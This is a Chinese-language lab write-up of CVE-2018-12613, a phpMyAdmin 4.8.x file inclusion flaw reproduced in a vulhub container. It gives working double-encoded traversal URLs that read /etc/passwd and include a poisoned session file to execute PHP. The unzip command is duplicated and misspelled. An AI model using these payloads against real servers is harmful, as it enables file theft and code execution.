簡介
phpMyAdmin是一套開源的、基於Web的MySQL數據庫管理工具。其index.php中存在一處文件包含邏輯,通過二次編碼即可繞過檢查,造成遠程文件包含漏洞。
影響版本
phpMyAdmin 4.8.0和4.8.1
漏洞分析
我們先下載源碼
wget https://files.phpmyadmin.net/phpMyAdmin/4.8.1/phpMyAdmin-4.8.1-all-languages.zip
進行解壓
nzip phpMyAdmin-4.8.1-all-languages.zip
進行解壓
nzip phpMyAdmin-4.8.1-all-languages.zip
/index.php裏面if區間一共有五個判斷:
- 是否存在target參數
- target參數是否爲字符串
- 值不能以index開頭
- 值不能出現在$target_blacklist內
- Core類的checkPageValidity方法判斷
如果通過判斷則包含參數所指定的文件。
前幾個判斷可以忽略,重要的是後面兩個判斷,先看第一個
$target_blacklist中的數組爲import.php 和 export.php,只要target的值不是這兩個就可以
我們看下一個判斷
首先找到Core類的checkPageValidity函數:
缺陷在urldecode() 我們可以利用這個函數繞過白名單檢測,只要把 ? 兩次url編碼爲 %253f 即可繞過驗證
漏洞復現
這裏我們用vulhub和docker快速搭建環境
cd vulhub/phpmyadmin/CVE-2018-12613
docker-compose up -d
打開http:your-ip:8080即可看到phpmyadmin頁面
http://192.168.20.128:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
可見/etc/passwd被讀取,說明文件包含漏洞存在:
我們還可以這樣利用,執行SELECT '<?php phpinfo()?>';
然後查看自己的sessionid(cookie中phpMyAdmin的值)
然後訪問http://192.168.20.128:8080/?target=db_sql.php%253f/../../../../../../../../tmp/sess_d776555732fe90dc7d50b31137c0cc1e包含session文件即可